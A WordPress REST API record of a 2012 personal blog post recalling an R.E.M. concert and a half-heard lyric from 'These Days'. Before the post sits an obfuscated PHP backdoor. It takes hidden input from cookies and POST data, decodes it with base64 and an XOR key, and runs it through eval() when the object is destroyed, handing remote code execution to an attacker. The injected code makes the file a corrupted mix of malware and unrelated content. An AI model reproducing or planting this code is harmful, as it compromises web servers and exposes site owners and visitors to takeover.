$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1850,"date":"2012-06-11T18:53:04","date_gmt":"2012-06-11T23:53:04","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1850"},"modified":"2012-06-11T18:54:03","modified_gmt":"2012-06-11T23:54:03","slug":"1850","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1850","title":{"rendered":"An R.E.M. Memory"},"content":{"rendered":"

Four years ago today, I faced one of the most important professional days in my life. I had to prepare for an event on June 12 which had to go perfectly. All the stress of that reality, however, gave way to something else.<\/p>\n

I had tickets to see R.E.M. the night before my big day. Little did I know it, but this would be the last time I would see my favorite band perform live.<\/p>\n

I feel conflicted about all of this. After all, I could have not gone to the show because of my work stress. If I had missed their last tour, I would not have forgiven myself.<\/p>\n

But the show I did see did not meet my expectations<\/a>. I know that sounds selfish, but I have seen the band enough and follow their tour exploits that I can’t help it.<\/p>\n

The folks the night before got “Harborcoat” where I got “Finest Worksong.” My encore went right from “Fall on Me” into “Man on the Moon.” The nights bookending my show added “Pretty Persuasion” or “Sitting Still” between those.<\/p>\n

But the further away from the show I get, the less it bothers me. I got “Little America” and “Driver 8.” I got to see Peter Buck screw up “Rockville” (in the video below). And I got possibly my favorite R.E.M. concert moment ever.<\/p>\n

Near the end of the main set, they ripped into “These Days.” I love the song, especially live. As Stipe headed into the first chorus, he sang words I worked really hard to decipher over the years.<\/p>\n

I had a hat, and it sunk, reached down, yanked it up, slapped it on my head*<\/em><\/p>\n

I sang it along with him as loud as I could. As I finished the line, the guy in front of me turned around and had the biggest smile on his face. he gave me a big double high-five which clearly indicated our membership in the club of people so obsessed with this band that we’re impressed when someone else knows an obtuse lyric.<\/p>\n

I may not have heard “1,000,000” like the people the night before me, but I have this going for me. Which is nice.<\/p>\n

* – The album lyric is\u00a0I had a hat, put it down and it sunk, reached down, yanked it up, slapped it on my head <\/em>but Michael Stipe has left out the “put it down” part \u00a0for a while now.<\/p>\n